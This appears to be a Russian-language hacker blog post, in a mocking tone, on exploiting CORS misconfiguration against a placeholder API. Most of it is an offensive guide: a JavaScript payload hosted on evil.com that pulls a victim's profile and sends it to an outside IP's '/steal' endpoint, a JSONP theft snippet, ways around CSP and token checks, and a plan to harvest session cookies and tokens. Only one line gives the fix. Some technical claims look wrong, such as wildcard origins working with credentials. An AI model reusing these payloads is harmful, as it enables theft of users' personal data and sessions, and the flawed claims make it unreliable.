API на api.target.com
отвечает заголовком Access-Control-Allow-Origin: *
. Вместе с этим светится Access-Control-Allow-Credentials: true
. Пахнет обходом CORS, как дешёвое пиво на хакерской тусовке.
Как поймал:
— Инструмент: curl -v https://api.target.com/user/profile
+ Burp Suite для анализа хедеров.
— Метод: Увидел wildcard (*
) в Allow-Origin
и проверил, поддерживает ли API куки/токены через withCredentials
.
Чем пахнет:
— Класс: CORS Misconfiguration → кража данных через кросс-доменные запросы.
— Вероятность: 9/10. Админы лепят *
на проде, чтобы «всё работало», не врубаясь в последствия.
Че почем
Эксплойт:
Создаёшь страницу на своём домене evil.com
:
1 2 3 4 5 6 7 8 9 10 11 |
<script> var xhr = new XMLHttpRequest(); xhr.open("GET", "https://api.target.com/user/profile", true); xhr.withCredentials = true; xhr.onreadystatechange = function() { if (xhr.readyState == 4) { fetch("http://144.228.71.44/steal?data=" + encodeURIComponent(xhr.responseText)); } }; xhr.send(); </script> |
Итог: Куки юзера улетают на твой сервер, пока он смотрит котиков на твоём сайте.
Обход защиты:
— Если есть CSP: Поднимай свой домен как evil.target.com
(если wildcard на уровне домена).
— Если API требует токен: Используй утечку через pre-flight
или найди эндпоинт без OPTIONS
.
— Если заголовок не *
: Проверь на рефлексию Origin
: отправь Origin: https://evil.com
и лови Allow-Origin: https://evil.com
.
Доказательство:
Скриншот логов с утекшими данными юзера: {"email": "victim@target.com", "balance": 1337}
. «Видишь личные данные? Это не мем — это твой новый аккаунт».
Советы
3 вектора для добивания:
-
Кража через JSONP: Если API поддерживает
callback
параметры, делай запрос:
1 |
<script src="https://api.target.com/data?callback=leakData"></script> |
-
Атака на субдомены: Если
Allow-Origin: *.target.com
, регистрируйpwned.target.com
через дырявый DNS. -
Сбор через fetch: Используй
fetch
сmode: cors
для особо хитрых API, гдеxhr
блочат.
План атаки:
-
Сканируешь заголовки через
curl -I
на предметAccess-Control-*
. -
Проверяешь связку
Allow-Origin: *
+Allow-Credentials: true
. -
Разворачиваешь PoC на своём домене (
evil.com
) с кодом для перехвата. -
Если успех — сливаешь сессионные куки или токены через запросы к
/profile
,/account
,/payments
.
Бонус от деда
Если в хедерах Server: Nginx/1.14.0
:
— Гугли типичные миссконфиги CORS в Nginx (add_header Access-Control-Allow-Origin *;
).
— Эксплойт: Даже если фикс есть, проверь старые субдомены через waybackurls
— там wildcard живёт вечно.
Мемная аналитика:
«CORS Wildcard — как поставить замок на дверь, но оставить ключ под ковриком с надписью ‘Бери, кто хочешь’».
Итог:
— Уязвимость: Неправильная настройка CORS-политики с wildcard и поддержкой credentials.
— Фикс: Указывать конкретные домены в Allow-Origin
, отключать Credentials
для wildcard.
— Но пока админы думают, что ‘*’ — это про звёзды на небе, греби данные юзеров на баг-баунти.